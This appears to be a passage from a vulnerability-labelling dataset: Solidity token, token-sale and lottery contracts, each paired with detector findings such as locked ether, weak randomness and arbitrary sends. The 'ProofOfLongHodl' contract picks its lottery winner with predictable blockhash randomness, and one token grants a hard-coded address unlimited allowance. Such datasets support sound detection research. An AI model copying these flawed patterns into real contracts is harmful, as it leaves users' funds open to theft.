event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0xC3bE593Dd4e454A231cb1ADB12d10e16B807637d;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0xC3bE593Dd4e454A231cb1ADB12d10e16B807637d] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract KRTR is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function KRTR() public {
symbol = "KRTR";
name = "KRTR Mesh Network";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xB5C2add036f5713Eb80fc6a64Dd5Df2675947840] = _totalSupply;
Transfer(address(0), 0xB5C2add036f5713Eb80fc6a64Dd5Df2675947840, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
//SPDX-License-Identifier: SourceLibre
/**
* Elysium
* Powered by Diemlibre.
* A SourceLibre Product.
* DApp for buying Diemlibre $DLB.
*
* This file includes:
* 1) interface IERC20.
* 2) library SafeMath.
* 3) contract BuyDiemlibre.
*
* Note: Token is in its smallet unit with respect to its decimal value.
*/
pragma solidity 0.8.1;
/**
* ERC Interface for Diemlibre Token.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Safe Math Library.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* BuyDiemlibre Contract.
*
* Default Attribues:
* - `owner` -> The owner of the contract.
* - `rate` -> The rate of the exchange in WEI, to be set by the `owner`.
* - `token` -> The ERC20 token handle.
* - `holder` -> The address of the holder of coins which this contract will be spending on its behave.
* - `self` -> The address of this contract. To be set by the owner after deployment.
* - `fees` -> The fees per transaction to be set by the owner.
*/
contract BuyDiemlibre {
using SafeMath for uint256;
address owner;
uint256 rate; // Rate is in WEI per Diemlibre
IERC20 token;
uint256 tokenDecimalsValue;
address holder;
address self;
uint256 fees;
/**
*
* Method Name: constructor
* Initialises the contract.
* Set most of the default attribues.
*
* Parameters:
* - `address _tokenAddress` -> non zero address of the token contract.
* - `address _holderAddress` -> non zero address of the holder of the tokens which has tokens.
* - the caller is recommeded to be the owner or has some admin control of the token contract.
*
*/
constructor(address _tokenAddress, address _holderAddress) {
require(_tokenAddress != address(0), "Error! Invalid Token Address.");
require(_holderAddress != address(0), "Error! Invalid Holder Address.");
require(_tokenAddress != _holderAddress, "Token Address and Spender Address cann't be the same.");
token = IERC20(_tokenAddress);
holder = _holderAddress;
owner = msg.sender;
rate = 1000000000000000000; // in WEI
fees = 0;
tokenDecimalsValue = 10**token.decimals();
}
/**
*
* Method Name: withdrawETHToOwner, private
* Withdraw ETH to the owner.
*
* Parameters:
* - `uint256 _amount` -> non zero amount of ETH to be sent to the owner.
*
* Returns:
* Boolean if the transaction was successfull or not.
*
*/
function withdrawETHToOwner(uint256 _amount) private returns(bool) {
payable(owner).transfer(_amount);
return true;
}
function getRate() external view returns(uint256) {
return rate;
}
function getSelf() external view returns(address) {
return self;
}
function getFees() external view returns(uint256) {
return fees;
}
/**
*
* Method Name: currentETHValue, external view
* Gets the current ETH value of 1 Token.
*
* Parameters:
* - `uint256 _tokenAmount` -> non zero amount of tokens to get its equivilence in ETH.
*
* Returns:
* The amount in ETH.
*
*/
function currentETHValue(uint256 _tokenAmount) external view returns(uint256) {
return _tokenAmount.mul(rate).div(tokenDecimalsValue);
}
/**
*
* Method Name: currentTokenValue, external view
* Gets the current token value of 1 ETH.
*
* Parameters:
* - `uint256 _WEIETHAmount` -> non zero amount of ETH in WEI to get its equivilence in token.
*
* Returns:
* The amount in token.
*
*/
function currentTokenValue(uint256 _WEIETHAmount) external view returns(uint256) {
return _WEIETHAmount.mul(tokenDecimalsValue).div(rate);
}
/**
*
* Method Name: _buy, private
* Payable the sends equivilent tokens calculated based on the rate to the msg.sender.
*
* Parameters:
* - `address _msgSender` -> non zero address of the Message sender.
* - `uint256 _msgValue` -> non zero amount of ETH in WEI the sender sent.
*
* Returns:
* The total amount of tokens the sender has.
*
*/
function _buy(address _msgSender, uint256 _msgValue) private returns(uint256) {
require(_msgValue > 0, "Error! Invalid or Insufficient Amount.");
require(self != address(0), "Error! Uninitialized self.");
uint256 tokenAmount = _msgValue.mul(tokenDecimalsValue).div(rate);
uint256 tokenAllowance = token.allowance(holder, self);
require(tokenAmount > 0 && tokenAmount <= tokenAllowance, "Insufficient Liquidity");
withdrawETHToOwner(_msgValue);
require(token.transferFrom(holder, _msgSender, tokenAmount), "Oops... Could not complete Transaction. Please try again later.");
return token.balanceOf(_msgSender);
}
/**
*
* Method: _buyFor, private
* Payable the sends equivilent tokens calculated based on the rate to the _receiver set by msg.sender.
*
* Parameters:
* - `address _receiver` -> non zero address of the receiver of the tokens.
* - `uint256 _msgValue` -> non zero amount of ETH in WEI the sender sent.
*
* Returns:
* The total amount of tokens the _receiver has.
*
*/
function _buyFor(address _receiver, uint256 _msgValue) private returns(uint256) {
require(_msgValue > 0, "Error! Invalid or Insufficient Amount.");
require(self != address(0), "Error! Uninitialized self.");
uint256 tokenAmount = _msgValue.mul(tokenDecimalsValue).div(rate);
uint256 tokenAllowance = token.allowance(holder, self);
require(tokenAmount > 0 && tokenAmount <= tokenAllowance, "Insufficient Liquidity");
withdrawETHToOwner(_msgValue);
require(token.transferFrom(holder, _receiver, tokenAmount), "Oops... Could not complete Transaction. Please try again later.");
return token.balanceOf(_receiver);
}
/**
*
* Method: buy, external payable
* External implementation of _buy()
*
*/
function buy() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
/**
*
* Method: buyFor, external payable
* External implementation of _buyFor()
*
*/
function buyFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
/**
*
* Fancy names for Web3.js Providers to read method names.
*
*/
// Buy
function buyDLB() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
function buyDlb() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
function buyDiemlibre() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
// BuyFor
function buyDLBFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
function buyDlbFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
function buyDiemlibreFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
/**
*
* Methods to be ran only by the owner
*
*/
function getHolder() external view returns(address) {
require(msg.sender == owner, "Error! Unauthorized access.");
return holder;
}
function setHolder(address _newHolder) external returns(address) {
require(msg.sender == owner, "Error! Unauthorized access.");
require(_newHolder != address(0), "Error! Invalid New Holder Address.");
holder = _newHolder;
return holder;
}
function withdrawETH(address _receiver, uint256 _amount) external returns(bool) {
require(msg.sender == owner, "Error! Unauthorized access.");
require(_receiver != address(0), "Error! Invalid Receiver Address.");
payable(_receiver).transfer(_amount);
return true;
}
function setRate(uint256 _newRate) external returns(uint256) {
require(msg.sender == owner, "Error! Unauthorized access.");
rate = _newRate;
return rate;
}
function setFees(uint256 _newFees) external returns(uint256) {
require(msg.sender == owner, "Error! Unauthorized access.");
fees = _newFees;
return fees;
}
function setSelf(address _selfAddress) external returns(address) {
require(msg.sender == owner, "Error! Unauthorized access.");
require(_selfAddress != address(0), "Error! Invalid Self Address.");
self = _selfAddress;
return self;
}
} | No vulnerabilities found |
pragma solidity ^0.4.20;
/*
* Team Proof of Long Hodl presents..
*/
pragma solidity ^0.4.21;
contract ProofOfLongHodl {
using SafeMath for uint256;
event Deposit(address user, uint amount);
event Withdraw(address user, uint amount);
event Claim(address user, uint dividends);
event Reinvest(address user, uint dividends);
address owner;
mapping(address => bool) preauthorized;
bool gameStarted;
uint constant depositTaxDivisor = 29; // 29% of deposits goes to divs
uint constant withdrawalTaxDivisor = 29; // 29% of withdrawals goes to divs
uint constant lotteryFee = 25; // 4% of deposits and withdrawals goes to lotteryPool
mapping(address => uint) public investment;
mapping(address => uint) public stake;
uint public totalStake;
uint stakeValue;
mapping(address => uint) dividendCredit;
mapping(address => uint) dividendDebit;
function ProofOfLongHodl() public {
owner = msg.sender;
preauthorized[owner] = true;
}
function preauthorize(address _user) public {
require(msg.sender == owner);
preauthorized[_user] = true;
}
function startGame() public {
require(msg.sender == owner);
gameStarted = true;
}
function depositHelper(uint _amount) private {
require(_amount > 0);
uint _tax = _amount.mul(depositTaxDivisor).div(100);
uint _lotteryPool = _amount.div(lotteryFee); // add to lottery fee
uint _amountAfterTax = _amount.sub(_tax).sub(_lotteryPool);
lotteryPool = lotteryPool.add(_lotteryPool);
// check if first deposit, and greater than and make user eligable for lottery
if (isEligable[msg.sender] == false && _amount > 0.1 ether) {
isEligable[msg.sender] = true;
hasWithdrawed[msg.sender] = false;
lotteryAddresses.push(msg.sender);
eligableIndex[msg.sender] = lotteryAddresses.length - 1;
}
if (totalStake > 0)
stakeValue = stakeValue.add(_tax.div(totalStake));
uint _stakeIncrement = sqrt(totalStake.mul(totalStake).add(_amountAfterTax)).sub(totalStake);
investment[msg.sender] = investment[msg.sender].add(_amountAfterTax);
stake[msg.sender] = stake[msg.sender].add(_stakeIncrement);
totalStake = totalStake.add(_stakeIncrement);
dividendDebit[msg.sender] = dividendDebit[msg.sender].add(_stakeIncrement.mul(stakeValue));
}
function deposit() public payable {
require(preauthorized[msg.sender] || gameStarted);
depositHelper(msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint _amount) public {
require(_amount > 0);
require(_amount <= investment[msg.sender]);
uint _tax = _amount.mul(withdrawalTaxDivisor).div(100);
uint _lotteryPool = _amount.div(lotteryFee); // add to lottery fee
uint _amountAfterTax = _amount.sub(_tax).sub(_lotteryPool);
lotteryPool = lotteryPool.add(_lotteryPool);
// removing user from lotteryAddresses if it is first withdraw
if (lotteryAddresses.length != 0 && !hasWithdrawed[msg.sender] ) {
hasWithdrawed[msg.sender] = true;
isEligable[msg.sender] = false;
totalWithdrawals = totalWithdrawals.add(_amountAfterTax);
withdrawalsCTR++;
// delete user from lottery addresses index to delete
uint indexToDelete = eligableIndex[msg.sender];
address lastAddress = lotteryAddresses[lotteryAddresses.length - 1];
lotteryAddresses[indexToDelete] = lastAddress;
lotteryAddresses.length--;
eligableIndex[lastAddress] = indexToDelete;
eligableIndex[msg.sender] = 0;
if (withdrawalsCTR > 9 && totalWithdrawals > 1 ether) {
// pick lottery winner and sent reward
uint256 winnerIndex = rand(lotteryAddresses.length);
address winner = lotteryAddresses[winnerIndex];
winner.transfer(lotteryPool);
totalWithdrawals = 0;
withdrawalsCTR = 0;
lotteryPool = 0;
lotteryRound++;
lastWinner = winner;
}
}
uint _stakeDecrement = stake[msg.sender].mul(_amount).div(investment[msg.sender]);
uint _dividendCredit = _stakeDecrement.mul(stakeValue);
investment[msg.sender] = investment[msg.sender].sub(_amount);
stake[msg.sender] = stake[msg.sender].sub(_stakeDecrement);
totalStake = totalStake.sub(_stakeDecrement);
if (totalStake > 0)
stakeValue = stakeValue.add(_tax.div(totalStake));
dividendCredit[msg.sender] = dividendCredit[msg.sender].add(_dividendCredit);
uint _creditDebitCancellation = min(dividendCredit[msg.sender], dividendDebit[msg.sender]);
dividendCredit[msg.sender] = dividendCredit[msg.sender].sub(_creditDebitCancellation);
dividendDebit[msg.sender] = dividendDebit[msg.sender].sub(_creditDebitCancellation);
msg.sender.transfer(_amountAfterTax);
emit Withdraw(msg.sender, _amount);
}
function claimHelper() private returns(uint) {
uint _dividendsForStake = stake[msg.sender].mul(stakeValue);
uint _dividends = _dividendsForStake.add(dividendCredit[msg.sender]).sub(dividendDebit[msg.sender]);
dividendCredit[msg.sender] = 0;
dividendDebit[msg.sender] = _dividendsForStake;
return _dividends;
}
function claim() public {
uint _dividends = claimHelper();
msg.sender.transfer(_dividends);
emit Claim(msg.sender, _dividends);
}
function reinvest() public {
uint _dividends = claimHelper();
depositHelper(_dividends);
emit Reinvest(msg.sender, _dividends);
}
function dividendsForUser(address _user) public view returns (uint) {
return stake[_user].mul(stakeValue).add(dividendCredit[_user]).sub(dividendDebit[_user]);
}
function min(uint x, uint y) private pure returns (uint) {
return x <= y ? x : y;
}
function sqrt(uint x) private pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
// LOTTERY MODULE
uint private lotteryPool = 0;
uint private lotteryRound = 1;
address private lastWinner;
uint public withdrawalsCTR = 0;
uint public totalWithdrawals = 0;
mapping(address => uint256) internal eligableIndex; //
mapping(address => bool) internal isEligable; // for first deposit check
mapping(address => bool) internal hasWithdrawed; // check if user already withdrawed
address[] public lotteryAddresses;
// Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant public returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
// check if address is withdrawed
function checkIfEligable(address _address) public view returns (bool) {
return (isEligable[_address] && !hasWithdrawed[_address]) ;
}
function getLotteryData() public view returns( uint256, uint256, address) {
return (lotteryPool, lotteryRound, lastWinner);
}
function lotteryParticipants() public view returns(uint256) {
return lotteryAddresses.length;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) arbitrary-send with High impact
4) controlled-array-length with High impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'RDW' token contract
//
// Deployed to : 0xfF26adAb91bD1D7419dbd5b95B61e922850bf818
// Symbol : RDW
// Name : Real Direct Coin
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract RDWToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RDWToken() public {
symbol = "RDW";
name = "Real Direct Coin";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xfF26adAb91bD1D7419dbd5b95B61e922850bf818] = _totalSupply;
Transfer(address(0), 0xfF26adAb91bD1D7419dbd5b95B61e922850bf818, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2022-01-12
*/
pragma solidity ^0.5.1;
/// @title BEAN - Beans are designed for global trusted talent chain
/// @author zhouhang
/**
* @title 安全数学库
* @dev 用于uint256的安全计算，合约内的积分操作均使用这个库的函数代替加减乘除，来避免上溢、下溢等问题
*/
library SafeMath {
/**
* @dev 乘法
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev 除法
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
/**
* @dev 减法
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
require(c <= a);
return c;
}
/**
* @dev 加法
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title 所有权合约
* @dev 用于控制合约的所有权，包括转让所有权
*/
contract Ownable {
address internal owner_; //合约所有者
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); //合约所有权转让事件
/**
* @dev 构造函数
*/
constructor() public {
owner_ = msg.sender; //合约所有者为合约创建者
}
/**
* @dev 合约所有者
*/
function owner() public view returns (address) {
return owner_;
}
/**
* @dev onlyOwner函数修改器：判断合约使用者是不是合约拥有者，是合约拥有者才能执行
*/
modifier onlyOwner() {
require(msg.sender == owner_);
_;
}
/**
* @dev 转让合约所有权：只有合约所有者能使用，转让合约所有权给newOwner
* @param newOwner 新的合约所有者
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner_, newOwner);
owner_ = newOwner;
}
}
/**
* @title BALC可暂停标准积分合约
* @dev 可暂停的标准积分合约包括查询余额、积分转账、授权额度、查询授额、授额转账、增加授额、减少授额、暂停合约、重启合约功能，继承Ownable合约功能
*/
contract BALC is Ownable {
using SafeMath for uint256; //uint256类型使用SafeMath库
string private name_; //积分名称
string private symbol_; //积分符号，类似货币符号
uint256 private decimals_; //小数点后位数
uint256 private totalSupply_; //发行总量
bool private paused_; //是否暂停合约
mapping(address => uint256) internal balances; //地址余额映射
mapping(address => mapping(address => uint256)) internal allowed; //授权额度映射
event Transfer(address indexed from, address indexed to, uint256 value); //积分转账事件
event Approval(address indexed owner, address indexed spender, uint256 value); //授权额度事件
event Pause(); //合约暂停事件
event Unpause(); //合约重启事件
/**
* @dev 构造函数：web3代码生成后，需要自定义_name,_symbol,_decimals,_totalSupply
*/
constructor(string memory _name, string memory _symbol, uint256 _decimals, uint256 _totalSupply, address _owner) public {
name_ = _name;
symbol_ = _symbol;
decimals_ = _decimals;
totalSupply_ = _totalSupply.mul(10 ** decimals_); //发行总量按小数点后位数转换
paused_ = false; //默认合约不暂停
owner_ = _owner;
balances[owner_] = totalSupply_; //合约发布者持有初始所有积分
}
/**
* @dev 积分名称
*/
function name() public view returns (string memory) {
return name_;
}
/**
* @dev 积分符号
*/
function symbol() public view returns (string memory) {
return symbol_;
}
/**
* @dev 小数点后位数
*/
function decimals() public view returns (uint256) {
return decimals_;
}
/**
* @dev 发行总量
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev 是否暂停
*/
function isPaused() public view returns (bool) {
return paused_;
}
/**
* @dev whenNotPaused函数修改器：判断合约是否未暂停，未暂停时才能执行
*/
modifier whenNotPaused() {
require(!paused_);
_;
}
/**
* @dev whenNotPaused函数修改器：判断合约是否暂停，暂停时才能执行
*/
modifier whenPaused() {
require(paused_);
_;
}
/**
